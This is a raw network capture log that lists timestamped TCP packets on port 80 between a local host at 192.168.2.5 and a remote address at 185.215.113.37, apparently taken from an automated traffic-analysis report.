Oct 25, 2024 07:28:22.506115913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506131887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506139040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506161928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506172895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506190062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506206036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506223917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506230116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506239891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506252050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506257057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506269932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506288052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506299973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506323099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506339073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506355047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506361961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506375074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506393909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506406069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506409883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506426096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506452084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506477118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506514072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506527901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506541014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506553888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506555080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506567955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506572008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506586075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506597042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506607056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506620884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506628990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506638050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506647110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506654024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506666899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506670952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506686926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506690979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506700039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506712914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506728888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506732941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506742954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506757975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506772995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506772995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506788015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506788969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506813049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506815910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506830931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506839037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506848097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506863117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506876945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506899118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506926060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506941080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506963015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506973028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506978989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.506985903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.506995916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.507006884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.507013083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.507020950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.507030010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.507040977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.507054090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.507081985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.507098913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.507118940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.507144928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.507180929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.507196903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.507213116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.507226944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.507235050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.507244110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.507260084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.507286072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.507369041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.507384062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.507397890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.507416964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.507425070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.507435083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.507450104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.507450104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.507477045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.507517099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619153976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619215012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619271040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619287014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619302034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619319916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619326115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619337082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619350910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619366884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619380951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619383097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619400024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619410038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619415045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619431019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619441032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619447947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619463921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619467020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619491100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619492054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619508028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619517088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619524002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619539022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619545937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619548082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619580984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619581938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619617939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619689941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619713068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619729042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619740009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619743109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619761944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619770050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619784117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619786978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619805098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619812965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619826078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619829893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619842052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619842052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619856119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619875908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619875908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619901896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619905949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619921923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619944096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619959116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619962931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619971991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.619986057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.619987965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620009899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620013952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620040894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620045900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620062113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620065928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620075941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620085955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620096922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620100975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620114088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620119095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620129108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620141029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620145082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620151997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620167971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620172024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620184898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620191097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620198965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620203972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620213985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620223999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620230913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620238066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620245934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620259047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620265007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620273113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620281935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620292902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620297909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620305061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620320082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620326042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620337009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620337963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620352030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620357990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620376110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620378017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620384932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620394945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620434999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620439053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620450974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620495081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620498896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620513916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620527983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620542049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620563030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620575905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620579958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620595932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620600939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620625019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620637894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620644093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620682001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620702982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620727062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620743036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620757103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620763063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620771885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620790005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620796919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620811939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620817900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620825052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620839119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620841026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620856047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620867968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620874882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620913029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620913982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620929956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620951891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.620963097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620987892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.620997906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.621031046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621046066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621059895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621081114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621081114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.621110916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.621121883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621138096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621154070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621169090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.621171951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621186018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621195078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.621212006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.621242046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.621470928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621486902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621500969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621525049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.621546984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.621566057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621582031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621596098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621606112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.621623039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.621638060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.621779919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621839046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621853113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621865988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621880054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.621881962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621901989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621910095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.621932030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.621932983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621956110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.621958971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621968031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.621973991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.621994972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622018099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622040987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622061014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622083902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622109890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622136116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622313976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622347116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622366905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622397900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622411966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622419119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622419119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622433901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622443914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622462988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622492075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622494936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622519970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622534990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622543097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622558117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622559071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622575045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622580051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622591019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622592926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622607946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622615099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622625113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622632980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622639894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622646093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622656107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622667074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622673035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622680902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622690916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622701883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622720957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622746944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622750998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622811079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622849941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622864962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622879982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622890949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622895956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622905970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:22.622912884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622927904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:22.622931957 CEST	49704	80	192.168.2.5	185.215.113.37
